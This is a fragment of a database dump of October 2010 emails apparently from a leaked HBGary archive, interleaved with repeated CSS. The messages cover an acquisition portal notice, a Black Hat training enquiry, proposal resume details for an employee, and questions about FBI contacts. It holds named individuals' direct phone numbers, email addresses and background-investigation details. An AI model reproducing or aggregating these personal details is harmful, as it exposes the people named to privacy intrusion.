margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',3965,'aaron_hbgary_com/3965.html'),(12730,'2010-10-06','arc@westfields.net','/aaron@hbgary.com/new/1297009370.M123341P14101Q7585.eml','federal@hbgary.com','COMM / Excursion Updated Schedule','\r\nThe schedule has been updated on the NRO/COMM-Excursion effort website.  For more information, please logon to the ARC and look at the Schedule tab for this effort.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select COMM /Excursion from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',2706,'aaron_hbgary_com/2706.html'),(12731,'2010-10-06','\"Ping Look\" <ping@blackhat.com>','/aaron@hbgary.com/new/1297009370.M361421P14101Q7586.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: Question for you','Penny\r\n\r\nCan we see some materials for the courses? I looked on the HBGary  \r\nWebsite and didn\'t see any material we could pull down for reference  \r\non either of the two courses.\r\n\r\nOf course you are welcome to host the training at a nearby hotel and  \r\nmarket on your own but frankly we have had zero luck getting the space  \r\nto do the same (getting space at a nearby hotel). Regarding the list  \r\nrental, Black Hat doesn\'t resell or rent out the list. Not even for a  \r\nrevenue share.  If you want access to other lists such as InterOps, I  \r\ncan have Eric Swenson, our Marketing Director, give you the relevant  \r\nperson\'s contact info.\r\n\r\n\r\n\r\nOn Oct 6, 2010, at 9:59 AM, Penny Leavy-Hoglund wrote:\r\n\r\n> Yes we will do them for US for sure  The PDF course will be big, no  \r\n> doubt in\r\n> my mind.   Social Media is big now too, we are doing trainings to\r\n> auditoriums.  Is there anyway we can get a list and do a revenue  \r\n> share or\r\n> perhaps go to near by hotel for these?\r\n>\r\n> -----Original Message-----\r\n> From: Ping Look [mailto:ping@blackhat.com]\r\n> Sent: Wednesday, October 06, 2010 9:53 AM\r\n> To: Penny Leavy-Hoglund\r\n> Cc: Jeff Moss\r\n> Subject: Re: Question for you\r\n>\r\n> Penny\r\n>\r\n> Unfortunately we only have 8 training rooms and we are overbooked (we\r\n> have contracted for Litchfield\'s new course but it isn\'t online). I\r\n> think the two classes would be a better sell attempt for US - bigger\r\n> market. I don\'t want to turn away dollars but that is my assessment -\r\n> that the courses might be too niche for DC.\r\n>\r\n> Let me know if you do want to be considered for US as the courses will\r\n> need to go for review for that event no later than December 1.\r\n>\r\n> On Oct 6, 2010, at 9:43 AM, Penny Leavy-Hoglund wrote:\r\n>\r\n\r\n-------------\r\nPing Look\r\nBlack Hat :: Techweb :: UBM\r\n1932 1st Ave, #204\r\nSeattle  WA 98101\r\n+1 206 443.5489 / vox :: +1 206 219 4143 / fax\r\nping@blackhat.com ::  www.blackhat.com\r\ntwitter.com/BlackHatEvents :: twitter.com/BlackHatHQ\r\n\r\n\r\nDates for Upcoming Black Hat Events:\r\nAbu Dhabi 2010: November 8-11, UAE, Emirates Palace\r\nDC 2011: January 16-19, Arlington, VA, Grand Hyatt Crystal City\r\nEurope 2011: March 15-18, Barcelona, Spain Hotel Rey Juan Carlos\r\nUS 2011: July 30-August 4, Las Vegas, NV, Caesars Palace\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8211,'aaron_hbgary_com/8211.html'),(12732,'2010-10-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009370.M594841P14101Q7587.eml','\"Masterson Brian\" <Brian.Masterson@ngc.com>,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Mark Trynor info','Begin forwarded message:From: Mark Trynor &lt;mark@hbgary.com&gt;\r\nDate: October 6, 2010 10:28:15 AM PDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: Mark Trynor info\r\nlast background - Unknown.Custom XSS and SQL injection development and execution during penetration testing.  Knowledge of and experience pen testing F5 BigIP devices utilizing positive control Application Security Module.\r\n\r\nDevelopment of a Threat Monitoring Center (TMC) which automates from end-to-end through a web interface the fingerprinting of malware through the utilization of digital DNA marking during execution.\r\n\r\nOn Wed, Oct 6, 2010 at 10:48 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\nBegin forwarded message:From: &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt;\r\n\r\n\r\nDate: October 6, 2010 10:01:46 AM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;, &quot;Barr Aaron&quot; &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nSubject: Mark Trynor info\r\n\r\n\r\n\r\nTed,\r\n\r\nI need the date of Mark’s last background investigation.\r\n\r\nAlso, I need a few sentences on why Mark is a forensics guru.  You mentioned that he worked an incident response or evaluation down in New Mexico or somewhere down in the southwest.  Can you give me a few nuggets that I can insert as quals both in the proposal and resume?  There is no mention of this in his resume and there needs to be.\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\nBrian\r\n\r\nBrian Masterson\r\n\r\n\r\n\r\nNorthrop Grumman/Xetron\r\n\r\n\r\n\r\nChief Technology Officer, Cyber Solutions\r\n\r\n\r\n\r\nPh: 513-881-3591\r\n\r\n\r\n\r\nCell: 513-706-4848\r\n\r\n\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10879,'aaron_hbgary_com/10879.html'),(12733,'2010-10-06','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297009370.M835908P14101Q7588.eml','mark@hbgary.com,mark@hbgary.com,','RE: EXTERNAL:Fwd: Mark Trynor info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMark,\r\n\r\nAny idea when you were interviewed by the investigator or maybe\r\ndid paperwork last for your reinvestigation?&nbsp; Just something that we can put in\r\nto address any concerns about getting you crossed over in a timely manner.\r\n\r\n&nbsp;\r\n\r\nFor the BigIP work, who was it for?&nbsp; Can you give me less technical\r\nand give me the big picture?&nbsp; Penetration testing/vulnerability assessment for\r\nXXXX where I achieved YYYY and the customer said ZZZZZZ(greatest work of all\r\ntime).&nbsp; Is there anything along the lines of forensics that you can provide?\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nBrian\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Wednesday, October 06, 2010 2:28 PM\r\nTo: Masterson, Brian M (XETRON); Barr Aaron\r\nSubject: EXTERNAL:Fwd: Mark Trynor info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Mark Trynor &lt;mark@hbgary.com&gt;\r\nDate: October 6, 2010 10:28:15 AM PDT\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;\r\nSubject: Re: Mark Trynor info\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nlast background - Unknown.\r\n\r\nCustom XSS and SQL injection development and execution during penetration\r\ntesting.&nbsp; Knowledge of and experience pen testing F5 BigIP devices\r\nutilizing positive control Application Security Module.\r\n\r\nDevelopment of a Threat Monitoring Center (TMC) which automates from end-to-end\r\nthrough a web interface the fingerprinting of malware through the utilization\r\nof digital DNA marking during execution.\r\n\r\n\r\n\r\nOn Wed, Oct 6, 2010 at 10:48 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Masterson,\r\nBrian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt;\r\nDate: October 6, 2010 10:01:46 AM MDT\r\nTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;,\r\n&quot;Barr Aaron&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: Mark Trynor info\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\nI need the date of Mark&#8217;s\r\nlast background investigation.\r\n\r\nAlso, I need a few\r\nsentences on why Mark is a forensics guru.&nbsp; You mentioned that he worked\r\nan incident response or evaluation down in New Mexico or somewhere down in the\r\nsouthwest.&nbsp; Can you give me a few nuggets that I can insert as quals both\r\nin the proposal and resume?&nbsp; There is no mention of this in his resume and\r\nthere needs to be.\r\n\r\nThanks,\r\n\r\nBrian\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, Cyber Solutions\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14028,'aaron_hbgary_com/14028.html'),(12734,'2010-10-06','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009371.M267024P14101Q7590.eml','aaron@hbgary.com,\"Ted Vera\" <ted@hbgary.com>','Do You Know','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nRobert Mueller or Gordon Snow at FBI?\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12151,'aaron_hbgary_com/12151.html'),(12735,'2010-10-06','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009371.M34476P14101Q7589.eml','aaron@hbgary.com','Mir Con','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.mandiant.com/news_events/article/mircon_event_page/event_register\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11098,'aaron_hbgary_com/11098.html'),(12736,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009371.M538746P14101Q7591.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Do You Know','That is the dirfbi and asst. DIR for cyberFrom my iPhoneOn Oct 6, 2010, at 3:25 PM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nRobert Mueller or Gordon Snow at FBI?\r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10889,'aaron_hbgary_com/10889.html'),(12737,'2010-10-06','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009372.M229226P14101Q7592.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Do You Know','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCorrect, but do you know them?&nbsp; Can you get an intro?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, October 06, 2010 12:30 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Ted Vera\r\nSubject: Re: Do You Know\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThat is the dirfbi and asst. DIR for cyber\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 6, 2010, at 3:25 PM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRobert\r\nMueller or Gordon Snow at FBI?\r\n\r\n&nbsp;\r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any\r\ntax information or written tax advice contained herein (including attachments)\r\nis not intended to be and cannot be used by any taxpayer for the purpose of\r\navoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The\r\nforegoing legend has been affixed pursuant to U.S. Treasury regulations\r\ngoverning tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for&nbsp;&nbsp; delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is\r\nstrictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10414,'aaron_hbgary_com/10414.html'),(12738,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009372.M470619P14101Q7593.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Do You Know','NoFrom my iPhoneOn Oct 6, 2010, at 3:33 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nCorrect, but do you know them?  Can you get an intro?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron 